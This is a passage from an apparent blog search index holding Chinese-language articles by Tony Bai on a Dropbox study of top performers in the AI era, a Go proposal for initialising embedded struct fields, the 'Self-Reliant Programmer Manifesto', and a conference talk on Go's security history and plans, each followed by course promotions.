59%。\n结合访谈数据，研究发现，顶尖人才不仅仅将 AI 视为“任务自动化”工具，更是将其作为**“认知伙伴”**。他们利用 AI 节省下来的时间（49% 的人表示会将节省的时间重新投入到更高价值的工作中），去从事更深层次的思考和创造：\n超越产出，拥抱探索： 他们利用 AI 快速验证想法、进行头脑风暴、探索不熟悉的技术领域。 好奇心与自我导向： 他们不满足于 AI 给出的第一个答案，而是通过追问、提供更多上下文，来引导 AI 产出更具洞察力的结果。 正如 Dropbox 首席人事官 Melanie Rosenwasser 所言：\n“AI 无疑能帮助我们更快地工作，但节省的时间不一定等于创造的价值。真正的机会在于我们如何利用收回的时间。我们的顶尖人才超越了产出本身，他们拥抱解决问题、好奇心和自我导向，利用技术去催生更深度的思考和更有意义的影响力。”\n回归人性：AI 无法取代的核心特质 最终，研究将卓越员工的特质，归结为三个 AI 无法取代的、持久的人类技能：自主性、连接和平衡。\n自主性 (Autonomy): 他们主动设计自己的工作系统和时间表，寻找能带来成长的“延伸项目”，其动力源于创造影响力，而非追求可见度。 连接 (Connection): 他们积极地与直属团队以外的人建立关系（即投资于“弱连接”），这能帮助他们获得新鲜的想法、提前发现潜在的障碍，并扩大自身的影响力。卓越员工在这方面的比例比其他人高出 18%。 平衡 (Balance): 他们懂得在高强度工作与恢复之间取得平衡，将体育活动等安排进工作日，以维持长期的、可持续的卓越表现。 小结：工程师的未来价值 Dropbox 的这项研究为我们描绘了一幅清晰的 AI 时代人才图景。当 AI 成为像编译器、IDE 一样普及的基础工具后，单纯比拼“工具使用效率”的时代正在过去。\n对于我们工程师而言，未来的核心竞争力将无可替代地转向那些“元技能”：\n深度工作的能力： 保护和运用专注力，解决复杂问题的能力。 构建高质量系统的能力： 编写清晰、可维护、稳定的代码，从而进入正向的开发循环。 战略性思考的能力： 将 AI 节省的时间，投资于更高层次的抽象、设计和创新。 人际连接的能力： 跨越团队边界，建立广泛的合作与影响。 AI 是一个强大的“能力放大器”，它能让你现有的工作习惯和思维模式变得更有效率。但最终，是那些持久的、独特的人类技能，如专注、好奇心、学习敏锐度和协作，真正驱动我们前进。在一个被 AI 加速的世界里，那些回归人性根本、修炼内功的工程师，将最终脱颖而出。\n资料链接：https://blog.dropbox.com/topics/company/research-how-top-performers-stand-out-in-the-age-of-ai\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/28/how-top-performers-stand-out-in-the-age-of-ai/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/how-top-performers-stand-out-in-the-age-of-ai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/28/how-top-performers-stand-out-in-the-age-of-ai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/28/how-top-performers-stand-out-in-the-age-of-ai\"\u003ehttps://tonybai.com/2025/09/28/how-top-performers-stand-out-in-the-age-of-ai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eAI 正在以前所未有的速度重塑软件开发领域。从代码生成到信息检索，AI 工具无疑极大地提升了工程师的生产力。一个普遍的假设是，谁能更好地利用 AI，谁就能成为新时代的顶尖人才。然而，\u003ca href=\"https://blog.dropbox.com/topics/company/research-how-top-performers-stand-out-in-the-age-of-ai\"\u003eDropbox 最近发布的一项内部研究\u003c/a\u003e，却对这个看似理所当然的结论提出了一个深刻的挑战。\u003c/p\u003e","title":"Dropbox最新研究解读：AI 正在拉平生产力差距，顶尖开发者如何脱颖而出？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/27/direct-ref-to-embedded-fields-in-struct-literals\n大家好，我是Tony Bai。\n在 Go 语言中，结构体嵌入 (Embedding) 是一个强大而独特的特性，它为我们提供了一种优雅的“垂直组合”方式。然而，多年来，它的使用体验中一直存在一个广为人知的“反直觉”之处，一个让无数开发者（包括 Go 核心团队成员自己）都曾踩过的坑。\n近日，一个旨在解决此问题的、长达十年的“陈年”提案（#9859）被重新激活并进入了活跃评审阶段(active)。这预示着 Go 结构体字面值的使用方式，可能即将迎来一次意义深远的简化。在本文中，我就和大家一起对该提案做一下解读，看看新提案究竟解决了什么问题，一旦落地后，究竟会给Go开发者带来哪些好处。\n核心痛点：不对称的读写行为 让我们从问题的核心开始。假设我们有如下定义：\ntype Point struct { X, Y int } type Circle struct { Point // 嵌入 Point Radius int } 在 Go 中，我们可以通过“字段提升”(Field Promotion) 的特性，非常自然地访问被嵌入的字段：\nvar c Circle c.X = 10 // 直接访问，非常直观 c.Y = 20 然而，当我们尝试在结构体字面值中初始化这个 Circle 时，同样的直觉却会碰壁：\n// 编译失败！ // c := Circle{X: 10, Y: 20, Radius: 5} // 必须使用冗长的嵌套方式 c := Circle{Point: Point{X: 10, Y: 20}, Radius: 5} 这种读写行为的不对称性，正是 #9859 提案试图解决的核心痛点。该提案建议，允许开发者在结构体字面值中直接引用嵌入字段，使得初始化过程与字段访问过程保持一致和直观。\n如果该提案被接受，下面的代码将变得合法：\n// 提案期望的写法 c := Circle{X: 10, Y: 20, Radius: 5} 正如 Go 团队的 Brad Fitzpatrick 所言，他与提案发起人 Andrew Gerrand 都曾独立地“踩过这个坑”，并都下意识地认为 Circle{X: 10, …} 这种写法本就应该可行。\n实际上，这并非 Go 语言首次修正其复合字面值中的“不对称”设计。一个惊人相似的历史先例，便是 Go 1.5 版本对 map 字面值的简化。\n在 Go 1.5 版本之前，一项允许在切片字面值中省略元素类型的规则，由于官方文档中所称的“一个疏忽”(an oversight)，并未被应用到 map 的键 (map keys) 上。这意味着，当时初始化一个切片可以很简洁，但用结构体作为键来初始化 map 却显得十分冗长。\n在 Go 1.5 之前，你必须这样写：\nm := map[Point]string{ Point{29.9, 52.8}: \u0026#34;Persepolis\u0026#34;, } Go 1.5 之后，编译器被赋予了根据上下文推断键类型的能力，代码得以简化：\nm := map[Point]string{ {29.9, 52.8}: \u0026#34;Persepolis\u0026#34;, } 这两个场景的核心思想如出一辙：都是在复合字面值 (composite literal) 的上下文中，当编译器能够明确推断出所需类型时，允许开发者省略冗余的类型声明，从而提升代码的简洁性和语言的一致性。\n从这个角度看，#9859 提案可以被视为 Go 语言在其设计哲学上，追求更高层次一致性的又一次重要尝试。\n争议焦点：当嵌入字段是指针时，会发生什么？ 这个看似简单的提议，在其长达十年的讨论中，之所以进展缓慢，是因为它触及了一个极其棘手的边缘情况：当嵌入的字段是一个指针时，该如何处理？\ntype Point struct { X, Y int } type Circle struct { *Point // 嵌入 Point 的指针 Radius int } 现在，当我们尝试 Circle{X: 10, …} 时，*Point 字段本身是 nil。对 nil 指针的字段进行赋值，在常规的赋值语句中 (c.X = 10) 会导致一个运行时 panic。\n那么，在结构体字面值中，编译器和运行时应该如何表现？Go 核心团队成员 Ian Lance Taylor 系统性地提出了三种可能性，这也构成了整个提案讨论的核心：\n隐式分配指针 (Silently allocate the pointer)：在初始化 X 字段时，自动为 *Point 分配内存（即 new(Point)）。 运行时 Panic (Panic at run time)：与常规赋值语句的行为保持一致，在运行时因空指针解引用而 panic。 编译期错误 (Give a compilation error)：编译器静态地检测到这种情况，并直接报错。 深层权衡：便利性、一致性与安全性 这三种选择，代表了在语言设计中不同的哲学权衡：\n选项一：隐式分配 (便利性优先) 优点：对用户最友好，提供了最流畅的体验。复合字面值的存在就是为了让事情变得更简单。 缺点： 隐藏了内存分配：这与 Go 语言推崇的“显式优于隐式”的哲学相悖。一次看似简单的赋值，背后可能隐藏着一长串的指针分配 (Foo{Bar: \u0026amp;Bar{Baz: \u0026amp;Baz{…}}})，这会让性能分析变得困难。 破坏封装性：一个由 Jonathan Amsterdam 提出的“杀手级”论据指出，如果一个包导出了一个嵌入了私有指针类型的结构体，隐式分配将允许包外的代码做到一些本不该做到的事（分配这个私有类型），从而破坏了封装。 选项二：运行时 Panic (一致性优先) 优点：由 Go 语言之父之一的 Robert Griesemer 提出的观点，他认为应该遵循一个简单的规则：如果一系列赋值语句 var x T; x.f1=v1; x.f2=v2; … 是合法的，那么结构体字面值 T{f1:v1, f2:v2, …} 也应该是合法的，并且语义相同。这最大程度地保证了语言行为的一致性。 缺点：将一个本可以在编译期发现的问题推迟到运行时，降低了代码的安全性。 选项三：编译期错误 (安全性优先) 优点：最安全的选择，将潜在的 panic 在编译阶段就彻底消除。 缺点： 体验不佳：这可能会激励开发者为了获得更简洁的初始化语法，而避免使用指针嵌入，即便指针嵌入在设计上是更合理的选择。 增加了语言规则的复杂性：“当嵌入的是值时可以，是指针时不行”，这会让规则变得不那么统一。 我个人比较倾向于选项2，并认同Robert Griesemer的“一致性优先”的观点，即使这可能会将问题推迟到运行时：\ntype E struct { A int } type T struct { *E B int } func main() { // 当前合法的语法 t1 := T{} t1.A = 5 // panic t1.B = 6 fmt.Println(t1) // 提案新语法 t2 := T{ A: 5, // panic，与提案前保持语义行为一致 B: 6, } fmt.Println(t2) } 小结：现实世界的影响与展望 这场看似学究式的辩论，对日常开发者有着实实在在的影响。许多评论者提到，正是因为当前冗长的嵌套字面值“太丑陋”，他们在设计 API 时不得不避免使用结构体嵌入，从而牺牲了代码的复用性和清晰性。\nGo 团队的 Alan Donovan 最近使用分析器对 golang.org/x/tools 和 golang.org/x/net 两个大型代码库进行了扫描，分别发现了 45 处和 83 处潜在可以被此提案简化的代码，这有力地证明了该提案的实用价值。\n目前的进展是：该提案因其明确的价值、社区呼声和核心团队的普遍支持，已被正式移入活跃评审阶段。\n这个提案若能通过，无疑将是 Go 语言在“开发者体验”方面的一次重大胜利。它将抚平结构体嵌入特性上最后一道粗糙的边缘，让 Go 的组合哲学更加名副其实。然而，前方的道路依然需要 Go 团队在便利性、一致性和安全性之间，做出一个极其审慎的、充满智慧的权衡。整个 Go 社区正拭目以待。\n资料链接：https://github.com/golang/go/issues/9859\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/27/direct-ref-to-embedded-fields-in-struct-literals/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/direct-ref-to-embedded-fields-in-struct-literals-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/27/direct-ref-to-embedded-fields-in-struct-literals\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/27/direct-ref-to-embedded-fields-in-struct-literals\"\u003ehttps://tonybai.com/2025/09/27/direct-ref-to-embedded-fields-in-struct-literals\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在 Go 语言中，结构体嵌入 (Embedding) 是一个强大而独特的特性，它为我们提供了一种\u003ca href=\"https://mp.weixin.qq.com/s/S5Gq8YqFZnP_wUUYBd9ArQ\"\u003e优雅的“垂直组合”方式\u003c/a\u003e。然而，多年来，它的使用体验中一直存在一个广为人知的“反直觉”之处，一个让无数开发者（包括 Go 核心团队成员自己）都曾踩过的坑。\u003c/p\u003e\n\u003cp\u003e近日，一个旨在解决此问题的、\u003ca href=\"https://github.com/golang/go/issues/9859\"\u003e长达十年的“陈年”提案（#9859）\u003c/a\u003e被重新激活并进入了活跃评审阶段(active)。这预示着 Go 结构体字面值的使用方式，可能即将迎来一次意义深远的简化。在本文中，我就和大家一起对该提案做一下解读，看看新提案究竟解决了什么问题，一旦落地后，究竟会给Go开发者带来哪些好处。\u003c/p\u003e","title":"Go 结构体初始化的“反直觉”设计终于要改了？深入探讨嵌入字段直接初始化提案"},{"content":"“自立程序员宣言”解读：这不就是我们一直在说的Go语言哲学吗？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n“自立程序员宣言”解读：这不就是我们一直在说的Go语言哲学吗？ 九月 26, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/09/26/self-reliant-programmer\n大家好，我是Tony Bai。\n“当代多数软件，对其用户而言是一种耻辱。”\n最近，一篇措辞激烈、观点鲜明的《自立程序员宣言》（Self-Reliant Programmer Manifesto）在技术圈流传开来。它以一种近乎愤怒的姿态，抨击了现代软件开发中日益增长的复杂性、对臃肿工具的过度依赖以及脆弱的供应链。\n对于许多沉浸在复杂框架和无尽工具链中的开发者来说，这份宣言可能显得有些“原教旨主义”。然而，在我们Go社区，当这篇文章被转发和讨论时，一种奇特的、会心一笑的共鸣油然而生。我们中的许多人看完后的第一反应是：“这不就是我们一直在说的Go语言哲学吗？”\n这份宣言的核心呼吁——相信简单、最小化依赖、并勇于编写自己的工具——听起来就像是Go社区日常交流的“黑话”。\n本文将和你一起解读这份“檄文”，并逐一印证，为什么它所倡导的“自立”之道，早已深深烙印在Go语言的DNA之中。\nGo语言哲学：我们一直在坚持什么？ 在解读宣言之前，让我们先回顾一下Go社区长期以来所珍视的一些核心价值观：\n少即是多 (Less is exponentially more)：Go语言刻意保持规范的微小，避免引入带有额外认知负荷的特性。 清晰优于聪明 (Clear is better than clever)：代码首先是写给人读的，显式的错误处理、简单的控制流远比“魔法般”的语法糖更受推崇。 “自带电池” (Batteries Included)：一个强大的标准库，是我们抵御外部依赖泛滥的第一道，也是最重要的一道防线。 “一点复制胜过一点依赖” (A little copying is better than a little dependency)：这句社区谚语，体现了我们对引入新依赖的极度审慎。 现在，让我们带着这些“Go味十足”的理念，去看看《自立程序员宣言》都说了些什么。\n宣言的核心法则 vs. Go的内在基因 法则一：“简单即是善” (Simple is good) 宣言说：“一切复杂的事物，都是由简单的东西构成的……你不需要四十二层抽象来实现一些简单的事情。”\n这不就是我们所说的“少即是多”吗？ Go的设计哲学正是建立在对“简单性”的极致追求之上。它通过减少语言特性，来降低程序员的心智负担。当你在阅读一段Go代码时，你很少需要去猜测这段代码背后隐藏着什么复杂的继承链或元编程魔法。你所见即所得。\n宣言强调：“理解事物的工作原理能帮助你建立更好的心智模型。” Go的**显式错误处理 (if err != nil)**虽然常被诟病冗长，但它强迫我们直面每一个可能出错的环节，而不是将其隐藏在try-catch的便利之下。这正是帮助我们建立健壮心智模型的绝佳实践。\n法则二：“最小化依赖” (Minimises their dependencies) 宣言说：“更少的依赖意味着更少被包管理器的供应链攻击所伤害……更简单的代码意味着更好地理解你实际在使用的东西。”\n这不就是我们“自带电池”和“一点复制胜过一点依赖”的实践吗？ Go强大的标准库，让我们在构建高性能Web服务、处理并发、加解密等无数场景下，都无需第一时间就去go get一个外部模块。\n当确实需要外部功能时，社区文化也鼓励我们保持克制。与其为了一个简单的辅助函数就引入一个庞大的库及其数十个传递依赖，我们更倾向于将那几行代码直接复制到自己的项目中。这看似“原始”，却完美地践行了宣言的精神：完全掌控你自己的代码，并深刻理解它的每一行。\n法则三：“编写自己的工具” (Writes their own tools) 宣言说：“更简单的工具意味着你可以独自工作……你无需依赖臃肿的CI、Docker、Kubernetes……”\n这不就是Go语言被创造出来的核心目的之一吗？Go本身就是一门为构建工具和基础设施而生的语言。\n静态编译与单二进制文件：go build产生的单一静态二进制文件，是分发和部署工具的终极形态。没有运行时依赖，没有复杂的安装脚本。 云原生世界的基石：Docker, Kubernetes, Terraform, Prometheus, etcd……这些定义了现代基础设施的工具，几乎无一例外都是用Go编写的。 我们Gopher不仅用Go构建应用，更用Go构建了我们赖以工作的整个世界。我们不满足于使用别人提供的、充满黑盒的工具，我们选择用我们自己的语言，为我们自己打造称手的兵器。这正是“自立程序员”精神的最高体现。\n“自立”，是Go赋予我们的底气 宣言中提到：“你无需请求任何人的祝福去做你需要做的任何事。你只需坐下来，写代码，解决问题。”\nGo语言，通过其独特的设计，赋予了我们这种“说干就干”的底气。\n因为Go的单二进制特性，我们的部署可以简单到只是一条scp命令，而不必被复杂的容器编排工具链所绑架。 因为Go的跨平台编译能力，我们可以在一台机器上为所有目标平台构建工具，而不依赖复杂的CI矩阵。 因为Go的性能足够好，我们很少需要为了性能而被迫引入C/C++库，从而避免了CGo带来的复杂性和依赖问题。 这种底层的简单性和强大的能力，让我们在面对现代工具链的复杂性时，始终保有一个“退路”。我们可以选择拥抱Kubernetes的强大，也可以在需要时，从容地回归到最原始、最可靠的部署方式。我们是工具的主人，而非奴隶。\n小结：是的，这正是我们的哲学 《自立程序员宣言》对我们Gopher而言，与其说是一份需要学习的新思想，不如说是一面镜子，映照出了我们社区长期以来所珍视和践行的价值观。\n它用一种更富激情、更具煽动性的语言，将Go语言的哲学内核大声地宣告了出来。是的，我们相信简单，我们警惕依赖，我们热衷于构建自己的工具。\n因为在Go的世界里，“自立”不是一种遥不可及的理想，而是我们通过语言和工具，每天都在实践的日常。这份宣言，是对所有Gopher选择的道路的一次响亮的回应和肯定。\n资料链接：https://yobibyte.github.io/self_reliant_programmer.html\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/26/self-reliant-programmer/","summary":"\u003ch1 id=\"自立程序员宣言解读这不就是我们一直在说的go语言哲学吗---tony-bai\"\u003e“自立程序员宣言”解读：这不就是我们一直在说的Go语言哲学吗？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"“自立程序员宣言”解读：这不就是我们一直在说的Go语言哲学吗？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/09/25/go-security-past-present-and-future\n大家好，我是Tony Bai。\n在软件安全领域，最成功的战役，往往是那些从未被公众所知的“隐形战争”。当一门编程语言的安全性被认为是理所当然时，这背后必然有一支团队在持续不断地进行着防御、修复与规划。对于 Go 语言而言，这支团队就是 Google 内部的 Go 安全/密码学团队。\n在今年的 GopherCon UK 大会上，该团队负责人 Roland Shoemaker 发表了一场罕见的、对 Go 安全内核进行深度揭秘的演讲。\n这场演讲更像是一部关于 Go 语言在安全领域攻防战的编年史，清晰地描绘了其过去的经验教训、现在的核心工作，以及未来的宏大蓝图，值得每位对Go安全感兴趣的Go开发者参考。\n本文也将遵循这一“过去、现在与未来”的宏大叙事，首先深入 Go 语言的安全历史，从其诞生至今的攻防对抗中，汲取那些塑造了其安全基因的深刻教训。\n过去 —— 从历史漏洞中汲取的教训 Go 的安全故事，始于其内存安全的基因。这一设计从根源上消除了 C/C++ 中最臭名昭著的内存损坏类漏洞。然而，安全之路远非一片坦途。通过对历史上约 160 个 CVE (Common Vulnerabilities and Exposures，通用漏洞披露) 的分析，我们可以勾勒出 Go 语言独特的漏洞画像。\n一份优异但非完美的成绩单 与同类语言相比，Go 的 CVE 总数表现优异，远低于 Python 和 Node.js。虽然高于 Rust，但必须指出，Go 的 CVE 中有 80% 来自其庞大且功能丰富的标准库。真正属于工具链本身（即 go 命令）的漏洞，历史上仅有 20 个。\n而 Go 最引以为傲的“战绩”，无疑是其自研的加密库。通过坚持“审慎地选择性实现”的哲学，拒绝引入小众、复杂的加密算法，Go 的加密库在过去十年中，高危漏洞的数量仅为 OpenSSL 的 1/20。\nGo 漏洞的两大“元凶” Go 的漏洞并非源于内存损坏，而是集中在两大截然不同的领域：\n拒绝服务 (DoS, Denial of Service) – 影响较低 这通常由恐慌 (Panic)（如切片越界）或资源耗尽（如因信任恶意输入而分配巨大内存）引起。由于现代云原生基础设施对服务崩溃有很强的弹性，这类漏洞通常被认为是低影响的。\n行为不当 (Incorrect Behavior) – 影响严重 这是 Go 安全的“心脏地带”，本质上是逻辑错误 (Logic Bugs)。其根源复杂多样：\n* **模糊的规范**：许多漏洞源于其实现的协议规范本身就存在模糊性或缺少安全考量。例如，早期的 HTTP/1.1 和 HTML 规范，为“走私”请求、无限循环解析等攻击留下了巨大的操作空间。 * **实现错位 (Misalignment)**：当 Go 的实现与其他语言的实现，在处理相同输入时得出不同结果，就可能产生漏洞。例如，一个 Go 编写的代理，如果它解析 HTTP 请求的方式与下游的后端服务不同，攻击者就可能利用这种差异来“走私”恶意请求。 * **危险的底层 API**：过早地暴露底层、需要使用者具备深厚专业知识才能安全使用的 API，是一个巨大的隐患。演讲中提到了 crypto/elliptic 包的例子：该包提供了椭圆曲线数学的底层操作，但并未强制执行所有必要的安全检查，而是假设调用者会自己完成。这为误用留下了巨大的风险。 两大高危“雷区”：CGO 与汇编 演讲特别点名了两个需要被高度警惕的区域：\n汇编 (Assembly)：为了极致的性能，Go 的核心加密库大量使用了汇编实现。但这带来了严峻的挑战：Go 自定义的汇编语言难以审查、难以测试，也难以保证其常量时间特性。 CGO：这是 Go 安全的“重灾区”。Roland 透露了一个惊人的数字：工具链历史上 20 个漏洞中，有 13 个与 CGO 相关！ 大部分问题并非来自 Go 本身，而是来自对 C 编译器和链接器标志（CGO_CFLAGS, CGO_LDFLAGS）的处理。攻击者可以通过恶意的构建标志，在 go build 期间加载任意共享库，实现远程代码执行。 现在 —— 正在进行的防御工事 汲取了过去的教训，Go 安全团队正专注于一系列“当下”的核心工作，以加固现有的防御体系。\n1. 废弃并改进 API 团队正在系统性地审查标准库，逐步废弃那些设计存在缺陷、易被误用的危险 API（如 crypto/rsa 中的某个底层解密函数）。同时，遵循“如何才能让用户无法误用它？”的第一原则，设计更安全、更易于使用的新 API。\n2. 拥抱纯 Go FIPS 支持 FIPS 是向美国政府销售软件必须遵守的加密标准。过去，Go 的 FIPS 支持依赖于 BoringSSL (一个 C 库)，深受 CGO 问题困扰。在 Go 1.24 中，团队与社区合作推出了一个纯 Go 实现的 FIPS 模块。这不仅摆脱了 CGO 的安全隐患，也极大地简化了用户的合规流程，是一个里程碑式的胜利。\n3. 引入外部审计 为了克服内部团队可能存在的“视野盲区”，在 2024 年初，团队聘请了第三方顶尖安全公司 Trail of Bits 对 Go 的全部加密库进行全面审计。结果令人满意——仅发现一个被认为是严重的问题，这既验证了团队内部工作的质量，也修复了潜在的未知风险。\n未来 —— 迎接新时代的挑战与规划 网络安全的战场永远在变化。Go 安全团队的目光，已经投向了未来的三大核心挑战。\n1. 强化测试与验证 “要么不写代码，要么就好好测试它。” 这是防御 bug 的两大黄金法则。未来，团队将投入更多精力：\n引入更广泛、更系统的测试套件，尤其针对 TLS、x509 等复杂协议。 持续探索如何更有效地测试汇编代码的正确性和常量时间特性，这是目前的一大难点。 2. 加固模块生态系统 Roland 坦言：“Go 模块生态系统至今未遭受重大攻击，这只是时间问题。” 团队正在积极研究如何在模块代理 (Proxy) 和 checksum 数据库 (SumDB) 层面引入新的安全机制，以抵御未来可能出现的、日益复杂的供应链攻击。虽然具体方案尚未公布，但这已是团队内部的头等大事。\n3. 布局后量子密码学 (Post-Quantum Crypto) 量子计算的幽灵，正威胁着我们现有的一切公钥加密体系。团队正在密切关注后量子密码学的标准化进程，并已开始进行内部研究。但他们秉持着一贯的审慎原则：在一个后量子算法被主流协议（如 TLS）正式采纳之前，Go 标准库不会贸然实现它。 这样做是为了确保 Go 提供的 API 是经过真实场景检验的、设计优良的，而不是一份匆忙的、可能会被废弃的草案实现。\n4. 将 govulncheck 集成到 go 命令中 govulncheck 是一个极其强大的工具，它能通过静态分析，精确地判断你的代码是否真的调用了某个依赖库中的漏洞函数，从而避免“狼来了”式的无效告警。但由于它目前是一个独立工具，使用率并不理想。\n团队的最终目标，是将 govulncheck 的功能直接集成到 go 命令中，让漏洞扫描成为每个 Gopher 日常开发流程中不可或缺的一部分，就像 go fmt 或 go test 一样。\n小结：一场需要全民参与的“战争” 演讲的最后，Roland 向社区发出了邀请：安全并非仅仅是安全团队的责任，它需要每一位开发者的参与。\n报告异常：如果你在生产中观察到任何“诡异”的行为，请不要轻易放过。最近一个关于 database/sql 包的严重竞态条件漏洞，正是由一家大公司报告的、看似无关的“查询结果异常”所引出的。 反馈“安全隐患” (Footguns)：如果你发现 Go 的某个 API 设计让你很容易写出不安全的代码，请告诉 Go 团队。他们乐于采纳建议，设计出更安全的 API。 Go 语言的安全性，并非源于某个单一的、革命性的功能，而是源于其内存安全的设计、审慎的 API 哲学，以及一个专注、专业的团队在幕后进行的、持续不断的、细致入微的改进工作。正是这场由官方团队引领、需要整个社区共同参与的“隐形战争”，构筑了 Go 语言值得信赖的安全基石。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/09/25/go-security-past-present-and-future/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-security-past-present-and-future-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/09/25/go-security-past-present-and-future\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/09/25/go-security-past-present-and-future\"\u003ehttps://tonybai.com/2025/09/25/go-security-past-present-and-future\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony 